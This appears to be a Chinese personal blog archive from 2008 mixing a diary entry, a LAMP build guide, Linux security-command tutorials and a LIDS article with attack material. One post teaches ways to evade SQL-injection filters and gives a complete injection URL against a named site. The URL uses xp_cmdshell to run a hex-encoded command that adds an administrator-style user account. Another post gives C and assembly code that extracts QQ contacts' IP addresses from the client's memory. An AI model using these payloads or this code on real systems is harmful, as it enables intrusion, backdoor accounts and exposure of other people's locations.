这几天好烦,连着好几天都睡不着觉,晚上都是一两点才睡觉,然后早上六点就要起床坐车上班,坐车都要两小时,可一天都不困,回家躺床上还是不困,都不知道自己在想什么,是否是我真的太好强,还是我根本没有这个实力,哎~~~~,工作虽然没什么事,可总感觉不顺心,还想过着杭州的生活,下班自己做做饭,然后小区在走走,或是在运河边上吹吹风,可现在,上班就坐在办公室,下班就回家然后出去吃饭,一点意思都没有,或许真是自己讨厌坐车,一天工作八小时,可我上下班坐车都要四小时,实在不行了,偶下月一定要换房子,不然怎么过呀,好烦,好烦,更烦………………….

四月 23rd, 2008

Posted In: 未分类

突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“'”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……

经过我的收集,大部分的防注入程序都过滤了以下关键字:

and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =

而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。

对于关键字的过滤,以下是我收集的以及我个人的一些想法。

1、运用编码技术绕过
如URLEncode编码,ASCII编码绕过。例如or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

2、通过空格绕过
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如or' swords' =‘swords' ,由于mssql的松散性,我们可以把or 'swords' 之间的空格去掉,并不影响运行。

3、运用字符串判断代替
用经典的or 1=1判断绕过,如or 'swords' ='swords',这个方法就是网上在讨论的。

4、通过类型转换修饰符N绕过
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or 'swords' = N' swords' ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。

5、通过+号拆解字符串绕过
效果值得考证,但毕竟是一种方法。如 or 'swords' =‘sw' +' ords' ;EXEC(‘IN' +' SERT INTO '+' …..' )

6、通过LIKE绕过
以前怎么就没想到呢?如or 'swords' LIKE 'sw'!!!显然可以很轻松的绕过“=”“>”的限制……

7、通过IN绕过
与上面的LIKE的思路差不多,如or 'swords' IN ('swords')

8、通过BETWEEN绕过
如or 'swords' BETWEEN 'rw' AND 'tw'

9、通过>或者<绕过 or 'swords' > 'sw'
or 'swords' < 'tw' or 1<3 …… 10、运用注释语句绕过 用/**/代替空格,如:UNION /**/ Select /**/user,pwd,from tbluser 用/**/分割敏感词,如:U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser 11、用HEX绕过,一般的IDS都无法检测出来 0x730079007300610064006D0069006E00 =hex(sysadmin) 0x640062005F006F0077006E0065007200 =hex(db_owner) 另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:   declare @a sysname   select @a=   exec master.dbo.xp_cmdshell @a 效果:http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% 20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;-- 其中的 0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 就是“net user angel pass /add”的意思。

四月 18th, 2008

Posted In: 未分类

今天去朋友BLOG转了转发现有更新,所以就转载了一份文章,以便于以后自己做的时候出现问题来查找一下原因,其实在上周我在虚拟机上做测试的时候就发现了这点问题,刚好在学习一下
环境 : linux 版本为 redhat as 4 apache : httpd-2.2.0 mysql : mysql-4.1.18 gd2 : gd-2.0.35

zlib: zlib-1.2.3 jpeg : jpeg -6b php : php 5.1.2 libpng : libpng-1.2.10

freetype : freetype-2.1.9 zd : ZendOptimizer-2.6.2

装好系统之后 里面最安装了软件开发工具 。 如果以前有 php 或者是 apahce 之类的 最好都卸载掉, 以免以后在编译的过程中出现一些奇怪的问题 。 ^_^

首先开始查看我们的服务器中是否有gcc ..
gcc -v

Reading specs from /usr/lib/gcc/i386-redhat-linux/3.4.3/specs
Configured with: ../configure –prefix=/usr –mandir=/usr/share/man –infodir=/usr/share/info –enable-shared –enable-threads=posix –disable-checking –with-system-zlib –enable-__cxa_atexit –disable-libunwind-exceptions –enable-java-awt=gtk –host=i386-redhat-linux
Thread model: posix
gcc version 3.4.3 20041212 (Red Hat 3.4.3-9.EL4)

===========================================================================

gcc 已经安装好了 那我开始软件安装之旅吧。

首先安装 mysql

shell> groupadd -g 500 mysql
shell> useradd -u500 -gmysql -M mysql

shell> tar -zxzf mysql.**.tar.gz
shell> cd mysql.**
shell> ./configure –prefix=/usr/local/mysql –localstatedir=/usr/local/mysql/data –with-unix-socket-path=/usr/local/mysql/tmp/mysql.sock
shell> make
shell> make install
shell> cp /usr/local/mysql/support-files/mysql.server /etc/rc.d/init.d/mysql //开机启动mysql
shell> cp support-files/my-medium.cnf /etc/my.cnf
shell> cd /usr/local/mysql
shell> bin/mysql_install_db –user=mysql
shell> chown -R root .
shell> chown -R mysql var
shell> chgrp -R mysql .
shell> bin/mysqld_safe –user=mysql &

注意直接执行后会出现下面错误:
Starting mysqld daemon with databases from /usr/local/mysql/data STOPPING server from pid file /usr/local/mysql/data/localhost.localdomain.pid 070514 19:15:13 mysqld ended
需执行 shell> chown -R mysql.mysql data

修改root密码:
use mysql
update user set Password=password("123456") where User="root";
delete from user where User="";

apache安装 :

shell> tar -xzvf httpd-2.2.4.tar.gz
shell> cd httpd-2.2.4
shell> ./configure –prefix=/usr/local/apache2 –enable-rewrite=shared –enable-speling=shared –enable-module=so
shell> make
shell> make install

gd部分安装 :

zlib包
shell> ./configure –prefix=/usr/local/zlib
shell> make check
shell> make install

libpng包(支持PNG)
shell> ./configure –prefix=/usr/local/libpng
shell> make
shell> make install

jpeg-6b包(支持jpg格式)
shell> ./configure –prefix=/usr/local/jpeg-6b –enable-share –enable-static
shell> make test
shell> make
shell> make install
shell> make install-lib

注:

1:在configure的时候会出现/usr/local/jpeg-6b/bin/djpeg 没有这个目录 我们手工的添加就可以了 mkdir –p /usr/local/jpeg-6a/bin/djpeg

2 : configure的时候也出现
/usr/local/jpeg-6b/man/man1/cjpeg.1 同样 我们 手工的建立一个 touch /usr/local/jpeg-6a/man/man1/cjpeg.1

freetype包(字体支持)
shell> ./configure –prefix=/usr/local/freetype
shell> make
shell> make install

最后安装gd包
shell> ./configure –prefix=/usr/local/gd2 –with-jpeg=/usr/local/jpeg-6b –with-zlib-dir=/usr/local/zlib –with-png=/usr/local/libpng –with-freetype=/usr/local/freetype
shell> make
shell> make install

make时会出现
make[2]: *** [gd_png.lo] Error 1
make[2]: Leaving directory `/tmp/gd-2.0.26gif'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/tmp/gd-2.0.26gif'
make: *** [all] Error 2
需要复制/usr/local/libpng/include/目录下的cp /usr/local/libpng/include/pngconf.h /home/jong/tmp/gd-2.0.34
cp /usr/local/libpng/include/png.h /home/jong/tmp/gd-2.0.34
注 :
当make 时出现
configure.ac:64: error: possibly undefined macro: AM_ICONV
将第二张盘 中的 gettext 文件安装上去
Rpm –ihv gettext-0.14.1-13.i386.rpm 就可以解决这个问题。

php 的安装 :

shell> ./configure –prefix=/usr/local/php –with-apxs2=/usr/local/apache2/bin/apxs –with-gd=/usr/local/gd2 –with-jpeg-dir=/usr/local/jpeg-6b –with-zlib-dir=/usr/local/zlib –with-png-dir=/usr/local/libpng –with-freetype-dir=/usr/local/freetype –enable-trace-vars -with-mysql=/usr/local/mysql -with-iconv=/usr/local/iconv –enable-mbstring=all –with-curl –enable-track-vars –with-DBA –enable-mbstr-enc-trans –enable-mbregex –with-config-file-path=/usr/local/php –with-xml –with-gettext
shell> make
shell> make install
shell> cp php.ini-dist /usr/local/php/php.ini

注: 在make 的时候会出现 “configure: error: libjpeg.(a|so) not found”
在系统的盘的第二张光盘里面 rpm –ihv libjpeg-devel-6b-33.i386.rpm 把这个包安装上去就可以解决这个问题。

编辑apache配置档
shell> cd /usr/local/apache2/conf
shell> vi httpd.conf
在LoadModule php5_module modules/libphp5.so
添加AddType application/x-httpd-php .php

OK,基本的安装已经完成,如果重新起动:
APACHE出现:/usr/local/apache2/bin/apachectl start Syntax error on line 232 of /usr/local/apache2/conf/httpd.conf: Cannot load /usr/local/apache2/modules/libphp4.so into server: /usr/local/apache2/modules/libphp4.so: cannot restore segment prot after reloc: Permission denied
那就要按照下面的方法解决:

编辑/etc/selinux/config,找到这段:
# This file controls the state of SELinux on the system.
# SELINUX= can take one of these three values:
# enforcing – SELinux security policy is enforced.
# permissive – SELinux prints warnings instead of enforcing.
# disabled – SELinux is fully disabled.
SELINUX=enforcing

把 SELINUX=enforcing 注释掉:#SELINUX=enforcing ,然后新加一行为:
SELINUX=disabled
保存,关闭。

zd的安装比较简单 直接运行 ./install.sh 然后出现图形的界面 选择安装路径 还有就是php.ini的位置 (/usr/local/php/) 然后重新启动apache 。

最后我们写一个 php的测试文件 来查看一下 。

phpinfo ();
?>

保存 ok 了 。

以上的软件下载均可以到 www.chinaunix.net 下载 。 在此表示感谢 。。。

四月 17th, 2008

Posted In: 未分类

这是LiteIM/FreePlus的取IP代码,感兴趣的朋友看看吧.也是QQ显IP内核的汇编代码
runjin的是汇编版本,这是c版本,希望有更多的人能读懂.后来者,愿它对你有益.闪了.
源码:[code]
static const DWORD UnknownSig=0x1E3A86BA;
static const LPSTR szQQUSER_DYNAMIC_DATA="QQUSER_DYNAMIC_DATA";
typedef void( *pPrepareDynData)(LPVOID IQQData,LPSTR szCmd,const DWORD* szSig,LPVOID* pDynamicData);
VOID PrepareData(LPVOID IQQData,LPVOID* pDynamicData)
{
pPrepareDynData PrepareDynData=(pPrepareDynData)*(LONG *)(*(LONG *)IQQData+0x54);
PrepareDynData(IQQData,szQQUSER_DYNAMIC_DATA,&UnknownSig,pDynamicData);
}

DWORD GetDyncDWORD(LPVOID DynamicData, int iOffset,LPCSTR szCmd)
{
DWORD dwRet=0;
__asm
{
lea eax,dwRet
push eax
push szCmd
mov eax, DynamicData
push eax
mov ecx,[eax]
mov eax,ecx
add eax,iOffset
call [eax]
}
return dwRet;
}

static const LPSTR szdwRecentIP="dwRecentIP";
static const LPSTR szdwIP="dwIP";
static const LPSTR szdwC2CIP="dwC2CIP";
DWORD GetIP(DWORD Uin)
{
DWORD dwRet=0;
LPVOID IQQData=NULL;
if (!GetFriendQQData(g_IQQCore,Uin,&IQQData)) return dwRet;
LPVOID DynamicData=NULL;
PrepareData(IQQData,&DynamicData);
if (NULL==DynamicData) return dwRet;
dwRet=GetDyncDWORD(DynamicData,0x34,szdwC2CIP);//ecx+18
if (dwRet) return dwRet;
dwRet=GetDyncDWORD(DynamicData,0x34,szdwIP);
if (dwRet) return dwRet;
dwRet=GetDyncDWORD(DynamicData,0x34,szdwRecentIP);
return dwRet;
}

static const LPSTR szwRecentPort="wRecentPort";
static const LPSTR szwPort= "wPort";
static const LPSTR szwC2CPort= "wC2CPort";
DWORD GetPort(DWORD Uin)
{
DWORD dwRet=0;
LPVOID IQQData=NULL;
if (!GetFriendQQData(g_IQQCore,Uin,&IQQData)) return dwRet;
LPVOID DynamicData=NULL;
PrepareData(IQQData,&DynamicData);
if (NULL==DynamicData) return dwRet;
dwRet=GetDyncDWORD(DynamicData,0x30,szwC2CPort);//ecx+14
if (dwRet) return dwRet;
dwRet=GetDyncDWORD(DynamicData,0x30,szwPort);
if (dwRet) return dwRet;
dwRet=GetDyncDWORD(DynamicData,0x30,szwRecentPort);
return dwRet;
}

static const LPSTR szwProcotol = "wProcotol";
DWORD GetVer(DWORD Uin)
{
DWORD dwRet=0;
LPVOID IQQData=NULL;
if (!GetFriendQQData(g_IQQCore,Uin,&IQQData)) return dwRet;
LPVOID DynamicData=NULL;
PrepareData(IQQData,&DynamicData);
if (NULL==DynamicData) return dwRet;
dwRet=GetDyncDWORD(DynamicData,0x30,szwProcotol);
return dwRet;
}
[/code]

四月 16th, 2008

Posted In: 未分类

虽然Linux和Windows NT/2000系统一样是一个多用户的系统,但是它们之间有不少重要的差别。对于很多习惯了Windows系统的管理员来讲,如何保证Linux操作系统安全、可靠将会面临许多新的挑战。本文将重点介绍Linux系统安全的命令。

虽然Linux和Windows NT/2000系统一样是一个多用户的系统,但是它们之间有不少重要的差别。对于很多习惯了Windows系统的管理员来讲,如何保证Linux操作系统安全、可靠将会面临许多新的挑战。本文将重点介绍Linux系统安全的命令。

passwd
1.作用
passwd命令原来修改账户的登陆密码,使用权限是所有用户。
2.格式
passwd [选项] 账户名称

3.主要参数
-l:锁定已经命名的账户名称,只有具备超级用户权限的使用者方可使用。
-u:解开账户锁定状态,只有具备超级用户权限的使用者方可使用。
-x, –maximum=DAYS:最大密码使用时间(天),只有具备超级用户权限的使用者方可使用。
-n, –minimum=DAYS:最小密码使用时间(天),只有具备超级用户权限的使用者方可使用。
-d:删除使用者的密码, 只有具备超级用户权限的使用者方可使用。
-S:检查指定使用者的密码认证种类, 只有具备超级用户权限的使用者方可使用。

4.应用实例
$ passwd
Changing password for user cao.
Changing password for cao
(current) UNIX password:
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updated successfully.

从上面可以看到,使用passwd命令需要输入旧的密码,然后再输入两次新密码。
su
1.作用
su的作用是变更为其它使用者的身份,超级用户除外,需要键入该使用者的密码。
2.格式
su [选项]… [-] [USER [ARG]…]

3.主要参数
-f , –fast:不必读启动文件(如 csh.cshrc 等),仅用于csh或tcsh两种Shell。
-l , –login:加了这个参数之后,就好像是重新登陆为该使用者一样,大部分环境变量(例如HOME、SHELL和USER等)都是以该使用者(USER)为主,并且工作目录也会改变。如果没有指定USER,缺省情况是root。
-m, -p ,–preserve-environment:执行su时不改变环境变数。
-c command:变更账号为USER的使用者,并执行指令(command)后再变回原来使用者。
USER:欲变更的使用者账号,ARG传入新的Shell参数。

4.应用实例
变更账号为超级用户,并在执行df命令后还原使用者。
su -c df root

umask
1.作用
umask设置用户文件和目录的文件创建缺省屏蔽值,若将此命令放入profile文件,就可控制该用户后续所建文件的存取许可。它告诉系统在创建文件时不给谁存取许可。使用权限是所有用户。
2.格式
umask [-p] [-S] [mode]

3.参数
-S:确定当前的umask设置。
-p:修改umask 设置。
[mode]:修改数值。

4.说明
传统Unix的umask值是022,这样就可以防止同属于该组的其它用户及别的组的用户修改该用户的文件。既然每个用户都拥有并属于一个自己的私有组,那么这种“组保护模式”就不在需要了。严密的权限设定构成了Linux安全的基础,在权限上犯错误是致命的。需要注意的是,umask命令用来设置进程所创建的文件的读写权限,最保险的值是0077,即关闭创建文件的进程以外的所有进程的读写权限,表示为-rw——-。在~/.bash_profile中,加上一行命令umask 0077可以保证每次启动Shell后, 进程的umask权限都可以被正确设定。
5.应用实例
umask -S
u=rwx,g=rx,o=rx
umask -p 177
umask -S
u=rw,g=,o=

上述5行命令,首先显示当前状态,然后把umask值改为177,结果只有文件所有者具有读写文件的权限,其它用户不能访问该文件。这显然是一种非常安全的设置。
chgrp
1.作用
chgrp表示修改一个或多个文件或目录所属的组。使用权限是超级用户。
2.格式
chgrp [选项]… 组 文件…

chgrp [选项]… –reference=参考文件 文件…

将每个??文件??的所属组设定为??组??。
3.参数
-c, –changes :像 –verbose,但只在有更改时才显示结果。
–dereference:会影响符号链接所指示的对象,而非符号链接本身。
-h, –no-dereference:会影响符号链接本身,而非符号链接所指示的目的地(当系统支持更改符号链接的所有者,此选项才有效)。
-f, –silent, –quiet:去除大部分的错误信息。
–reference=参考文件:使用??参考文件??的所属组,而非指定的??组??。
-R, –recursive:递归处理所有的文件及子目录。
-v, –verbose:处理任何文件都会显示信息。

4.应用说明
该命令改变指定指定文件所属的用户组。其中group可以是用户组ID,也可以是/etc/group文件中用户组的组名。文件名是以空格分开的要改变属组的文件列表,支持通配符。如果用户不是该文件的属主或超级用户,则不能改变该文件的组。
5.应用实例
改变/opt/local /book/及其子目录下的所有文件的属组为book,命令如下:
$ chgrp – R book /opt/local /book

chmod
1.作用
chmod命令是非常重要的,用于改变文件或目录的访问权限,用户可以用它控制文件或目录的访问权限,使用权限是超级用户。
2.格式
chmod命令有两种用法。一种是包含字母和操作符表达式的字符设定法(相对权限设定);另一种是包含数字的数字设定法(绝对权限设定)。
(1)字符设定法
chmod [who] [+   –   =] [mode] 文件名
◆操作对象who可以是下述字母中的任一个或它们的组合
u:表示用户,即文件或目录的所有者。
g:表示同组用户,即与文件属主有相同组ID的所有用户。
o:表示其它用户。
a:表示所有用户,它是系统默认值。
◆操作符号
+:添加某个权限。
-:取消某个权限。
=:赋予给定权限,并取消其它所有权限(如果有的话)。
◆设置mode的权限可用下述字母的任意组合
r:可读。
w:可写。
x:可执行。
X:只有目标文件对某些用户是可执行的或该目标文件是目录时才追加x属性。
s:文件执行时把进程的属主或组ID置为该文件的文件属主。方式“u+s”设置文件的用户ID位,“g+s”设置组ID位。
t:保存程序的文本到交换设备上。
u:与文件属主拥有一样的权限。
g:与和文件属主同组的用户拥有一样的权限。
o:与其它用户拥有一样的权限。
文件名:以空格分开的要改变权限的文件列表,支持通配符。
一个命令行中可以给出多个权限方式,其间用逗号隔开。
(2) 数字设定法
数字设定法的一般形式为:
chmod [mode] 文件名

数字属性的格式应为3个0到7的八进制数,其顺序是(u)(g)(o)文件名,以空格分开的要改变权限的文件列表,支持通配符。
数字表示的权限的含义如下:0001为所有者的执行权限;0002为所有者的写权限;0004为所有者的读权限;0010为组的执行权限;0020为组的写权限;0040为组的读权限;0100为其他人的执行权限;0200为其他人的写权限;0400为其他人的读权限;1000为粘贴位置位;2000表示假如这个文件是可执行文件,则为组ID为位置位,否则其中文件锁定位置位;4000表示假如这个文件是可执行文件,则为用户ID为位置位。
3.实例
如果一个系统管理员写了一个表格(tem)让所有用户填写,那么必须授权用户对这个文件有读写权限,可以使用命令:
#chmod 666 tem

上面代码中,这个666数字是如何计算出来的呢?0002为所有者的写权限,0004为所有者的读权限,0020为组的写权限,0040为组的读权限,0200为其他人的写权限,0400为其他人的读权限,这6个数字相加就是666(注以上数字都是八进制数),结果见图1所示。

图1 用chmod数字方法设定文件权限
从图1可以看出,tem文件的权限是-rw-rw-rw-,即用户对这个文件有读写权限。
如果用字符权限设定使用下面命令:
#chmod a =wx tem

chown
1.作用
更改一个或多个文件或目录的属主和属组。使用权限是超级用户。
2.格式
chown [选项] 用户或组 文件

3.主要参数
–dereference:受影响的是符号链接所指示的对象,而非符号链接本身。
-h, –no-dereference:会影响符号链接本身,而非符号链接所指示的目的地(当系统支持更改符号链接的所有者,此选项才有效)。
–from=目前所有者:目前组只当每个文件的所有者和组符合选项所指定的,才会更改所有者和组。其中一个可以省略,这已省略的属性就不需要符合原有的属性。
-f, –silent, –quiet:去除大部分的错误信息。
-R, –recursive:递归处理所有的文件及子目录。
-v, –verbose:处理任何文件都会显示信息。

4.说明
chown将指定文件的拥有者改为指定的用户或组,用户可以是用户名或用户ID;组可以是组名或组ID;文件是以空格分开的要改变权限的文件列表,支持通配符。系统管理员经常使用chown命令,在将文件拷贝到另一个用户的目录下以后,让用户拥有使用该文件的权限。
5.应用实例
1.把文件shiyan.c的所有者改为wan
$ chown wan shiyan.c

2.把目录/hi及其下的所有文件和子目录的属主改成wan,属组改成users。
$ chown – R wan.users /hi
chattr
1.作用
修改ext2和ext3文件系统属性(attribute),使用权限超级用户。
2.格式
chattr [-RV] [-+=AacDdijsSu] [-v version] 文件或目录

3.主要参数
-R:递归处理所有的文件及子目录。
-V:详细显示修改内容,并打印输出。
-:失效属性。
+:激活属性。
= :指定属性。
A:Atime,告诉系统不要修改对这个文件的最后访问时间。
S:Sync,一旦应用程序对这个文件执行了写操作,使系统立刻把修改的结果写到磁盘。
a:Append Only,系统只允许在这个文件之后追加数据,不允许任何进程覆盖或截断这个文件。如果目录具有这个属性,系统将只允许在这个目录下建立和修改文件,而不允许删除任何文件。
i:Immutable,系统不允许对这个文件进行任何的修改。如果目录具有这个属性,那么任何的进程只能修改目录之下的文件,不允许建立和删除文件。
D:检查压缩文件中的错误。
d:No dump,在进行文件系统备份时,dump程序将忽略这个文件。
C:Compress,系统以透明的方式压缩这个文件。从这个文件读取时,返回的是解压之后的数据;而向这个文件中写入数据时,数据首先被压缩之后才写入磁盘。
s:Secure Delete,让系统在删除这个文件时,使用0填充文件所在的区域。
u:Undelete,当一个应用程序请求删除这个文件,系统会保留其数据块以便以后能够恢复删除这个文件。

4.说明
chattr命令的作用很大,其中一些功能是由Linux内核版本来支持的,如果Linux内核版本低于2.2,那么许多功能不能实现。同样-D检查压缩文件中的错误的功能,需要2.5.19以上内核才能支持。另外,通过chattr命令修改属性能够提高系统的安全性,但是它并不适合所有的目录。chattr命令不能保护/、/dev、/tmp、/var目录。
5.应用实例
1.恢复/root目录,即子目录的所有文件
# chattr -R +u/root

2.用chattr命令防止系统中某个关键文件被修改
在Linux下,有些配置文件(passwd ,fatab)是不允许任何人修改的,为了防止被误删除或修改,可以设定该文件的“不可修改位(immutable)”,命令如下:
# chattr +i /etc/fstab

sudo
1.作用
sudo是一种以限制配置文件中的命令为基础,在有限时间内给用户使用,并且记录到日志中的命令,权限是所有用户。
2.格式
sudo [-bhHpV] [-s ] [-u ??用户??] [指令]
sudo [-klv]

3.主要参数
-b:在后台执行命令。
-h:显示帮助。
-H:将HOME环境变量设为新身份的HOME环境变量。
-k:结束密码的有效期,即下次将需要输入密码。
-l:列出当前用户可以使用的命令。
-p:改变询问密码的提示符号。
-s :执行指定的Shell。
-u ??用户??:以指定的用户为新身份,不使用时默认为root。
-v:延长密码有效期5分钟。

4.说明
sudo命令的配置在/etc/sudoers文件中。当用户使用sudo时,需要输入口令以验证使用者身份。随后的一段时间内可以使用定义好的命令,当使用配置文件中没有的命令时,将会有报警的记录。sudo是系统管理员用来允许某些用户以root身份运行部分/全部系统命令的程序。一个明显的用途是增强了站点的安全性,如果需要每天以超级用户的身份做一些日常工作,经常执行一些固定的几个只有超级用户身份才能执行的命令,那么用sudo是非常适合的。
ps
1.作用
ps显示瞬间进程 (process) 的动态,使用权限是所有使用者。
2.格式
ps [options] [–help]

3.主要参数
ps的参数非常多, 此出仅列出几个常用的参数。
-A:列出所有的进程。
-l:显示长列表。
-m:显示内存信息。
-w:显示加宽可以显示较多的信息。
-e:显示所有进程。
-a:显示终端上的所有进程,包括其它用户的进程。
-au:显示较详细的信息。
-aux:显示所有包含其它使用者的进程。

4.说明
要对进程进行监测和控制,首先要了解当前进程的情况,也就是需要查看当前进程。ps命令就是最基本、也是非常强大的进程查看命令。使用该命令可以确定有哪些进程正在运行、运行的状态、进程是否结束、进程有没有僵尸、哪些进程占用了过多的资源等。图2给出了ps-aux命令详解。大部分信息都可以通过执行该命令得到。最常用的三个参数是u、a、x。下面就结合这三个参数详细说明ps命令的作用:ps aux

图2 ps-aux命令详解
图2第2行代码中,USER表示进程拥有者;PID表示进程标示符;%CPU表示占用的CPU使用率;%MEM占用的物理内存使用率;VSZ表示占用的虚拟内存大小;RSS为进程占用的物理内存值;TTY为终端的次要装置号码。
STAT表示进程的状态,其中D为不可中断的静止(I/O动作);R正在执行中;S静止状态;T暂停执行;Z不存在,但暂时无法消除;W没有足够的内存分页可分配;高优先序的进程;N低优先序的进程;L有内存分页分配并锁在内存体内 (实时系统或 I/O)。START为进程开始时间。TIME为执行的时间。COMMAND是所执行的指令。
4.应用实例
在进行系统维护时,经常会出现内存使用量惊人,而又不知道是哪一个进程占用了大量进程的情况。除了可以使用top命令查看内存使用情况之外,还可以使用下面的命令:
ps aux   sort +5n

who
1.作用
who显示系统中有哪些用户登陆系统,显示的资料包含了使用者ID、使用的登陆终端、上线时间、呆滞时间、CPU占用,以及做了些什么。 使用权限为所有用户。
2.格式
who – [husfV] [user]

3.主要参数
-h:不要显示标题列。
-u:不要显示使用者的动作/工作。
-s:使用简短的格式来显示。
-f:不要显示使用者的上线位置。
-V:显示程序版本。

4.说明
该命令主要用于查看当前在线上的用户情况。如果用户想和其它用户建立即时通信,比如使用talk命令,那么首先要确定的就是该用户确实在线上,不然talk进程就无法建立起来。又如,系统管理员希望监视每个登录的用户此时此刻的所作所为,也要使用who命令。who命令应用起来非常简单,可以比较准确地掌握用户的情况,所以使用非常广泛。
动手练习
1.使用Linux命令检测系统入侵者
安装过Mandrake Linux和Red Hat Linux的用户都会知道,Linux系统会内置三种不同级别(标准、高、更高)的防火墙,当进行了Linux服务器的安装和一些基本的设置后,服务器应该说是比较安全的,但是也会有黑客通过各种方法利用系统管理员的疏忽侵入系统。如何快速查找黑客非常重要。一般来说,可以使用命令查询黑客是否入侵,见表1。

表1 查询黑客入侵现象的命令对应表
举例说明,如果黑客嗅探网络,那么它必须使网卡接口处于混杂模式,使用下面命令进行查询:
#ifconfig -a
eth0 Link encap:Ethernet HWaddr 00:00:E8:A0:25:86
inet addr:192.168.1.7 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISCUOUS MTU:1500 Metric:1
……

从这个命令的输出中,可以看到上面讲到的这些概念。第一行的00:00:E8:A0:25:86是mac地址,第二行的192.168.1.7是IP地址,第四行讲的是接收数据状态,这时正在被黑客嗅探。一般而言,网卡有几种接收数据帧的状态,如Broadcast、Multicast、Promiscuous等。Broadcast是指接收所有类型为广播报文的数据帧;Multicast是指接收特定的组播报文;Promiscuous则是通常说的混杂模式,是指对报文中的目的硬件地址不加任何检查、全部接收的工作模式。
2.限制su命令的滥用
我们知道,超级用户在Linux中有最大的权利,几乎所有黑客都想得到这个目标。Linux可以增加对切换到超级用户的限制。使用PAM(Pluggable Authentication Modules)可以禁止除在wheel组以外的任何人su成root,修改/etc/pam.d/su文件,除去屏蔽标识#。使用/usr/sbin/usermod G10 bjecadm将bjecadm这个账号加入gid为10的组,就是wheel组。命令如下:
/etc/pam.d/su # 使用密码验证#
auth sufficient /lib/security/pam_wheel.so debug
# 限制只有wheel组用户才可以切换到root#
auth required /lib/security/pam_wheel.so use_uid
chmod -G10 bjecadm

另外,每当用户试图使用su命令进入系统用户时,命令将在/usr/adm/sulog文件中写一条信息,若该文件记录了大量试图用su进入root的无效操作信息,则表明了可能有人企图破译root口令。
Linux命令有着强大的功能。对于Linux系统管理员来说,往往只需要通过各种安全命令技巧,组合构成安全防线。从计算机安全的角度看,世界上没有绝对安全的计算机系统,Linux系统也不例外。

四月 16th, 2008

Posted In: 未分类

文章摘要:
    LIDS全称Linux 入侵检测系统,作者是Xie Huagang和Phil。LIDS 是增强 Linux 核心的安全的的补丁程序. 它主要应用了一种安全参考模型和强制访问控制模型。使用了 LIDS 后, 系统能够保护重要的系统文件,重要的系统进程, 并能阻止对系统配制信息的改变和对裸设备的读写操作。
  正文:
  LIDS功能及其安装和配置   
  
    随着因特网中LINUX操作系统知名度的提升,目前在GNU/Linux系统中也发现了越来越多的安全漏洞。许多漏洞是由于程序员不懂安全编程引起的,例如缓冲区溢出、格式化字符串攻击。当系统出现了这种漏洞,黑客就会取得root权限,整个系统也就在黑客的控制之下可以做任何事情了。
    我们知道,虽然LINUX的源代码是开放的,系统管理员可以尽可能多得发现系统的漏洞并打上补丁,但是,很多管理员却往往懒得去做,黑客要攻入他们的系统、取得ROOT SHELL真是太容易了。LIDS就是针对这种情况提出的解决方案。
  
  一、 LIDS的功能
  
    先让我们对目前系统存在的漏洞略作浏览:
    文件系统没有在保护之下
    事实上,很多重要的文件比如/bin/login就是这样,当黑客进入系统时,它可以用自己的程序来替换这个文件,再次登录就可以不用任何密码了。这是一个特洛伊木马的例子。但是除非要升级整个系统,频繁地改变这些文件并不现实,因此迫切需要一个安全内核来两全其美。
    进程也没有在保护之下
    系统中的进程是为系统的某一功能服务的,例如HTTPD进程就是为了远程客户机上的浏览器内容服务的。对WEB服务器来说,保护它的进程免于非法终止是很重要的,但是假如入侵者获取了ROOT权限,管理员将对此束手无策。
    系统管理也没有在保护之下
    很多系统管理功能,像转载/卸载模块,路由安装模块,防火墙控制模块等都可能被ID=0的进程修改。
    另外,目前系统中ROOT权限往往过大,做为ROOT,他可以轻而易举地改变现存系统本来就具有的功能。
  
    以上我们看出,LINUX系统不仅需要系统的访问控制,还需要一些新的模块来处理以上问题。这就是LIDS所作的工作。
  
    LIDS在LINUX内核中负责进行监视和强制接入控制,它首先限制ROOT的权限,原来的选择文件权限、系统/网络的管理、设备、内存及输入输出的操作权限ROOT可能不再具有,LIDS利用并扩展绑定到系统上的权限来控制整个系统,增加网络和文件系统的安全性能。你可以联机调整安全性能,隐藏敏感的进程,并可通过网络收到安全警告。
  
  LIDS的特性总起来说有三点:
    1.入侵防护
    它能保护重要的文件,进程和设备(例如内存、硬盘包括引导区)不被非授权的人改动,包括非授权的 root。
  利用系统提供的性能来对整个系统做更多的防护。
    2.入侵监测
    它还提供对端口扫描的监测.
    3.入侵响应
    在发现系统受到攻击后, 它能及时的将必要的信息记到日志文件中, 还可以将其发送到管理员的信箱中.
  
  二、 下面,我们来介绍LIDS系统的安装
  
    下载LIDS补丁和相关LINUX内核
    你可以在LIDS主页和LIDS FTP站点或者其它LIDS镜像站点下载,下载包的名称一般是lids-x.xx-y.y.y.tar.gz的形式,x.xx表示LIDS的版本,y.y.y代表LINUX内核的版本。比如,lids-0.9.9-2.2.17.tar.gz的意思是lids的版本为0.9.9,而相应内核版本是2.2.17。下载时这两者的版本应相互对应。下载后再把它们分别解压。
  
  1. 解压LINUX内核源代码
  # cd linux_install_path/
  # bzip2 -cd linux-2.2.17.tar.bz2 | tar -xvf –
  
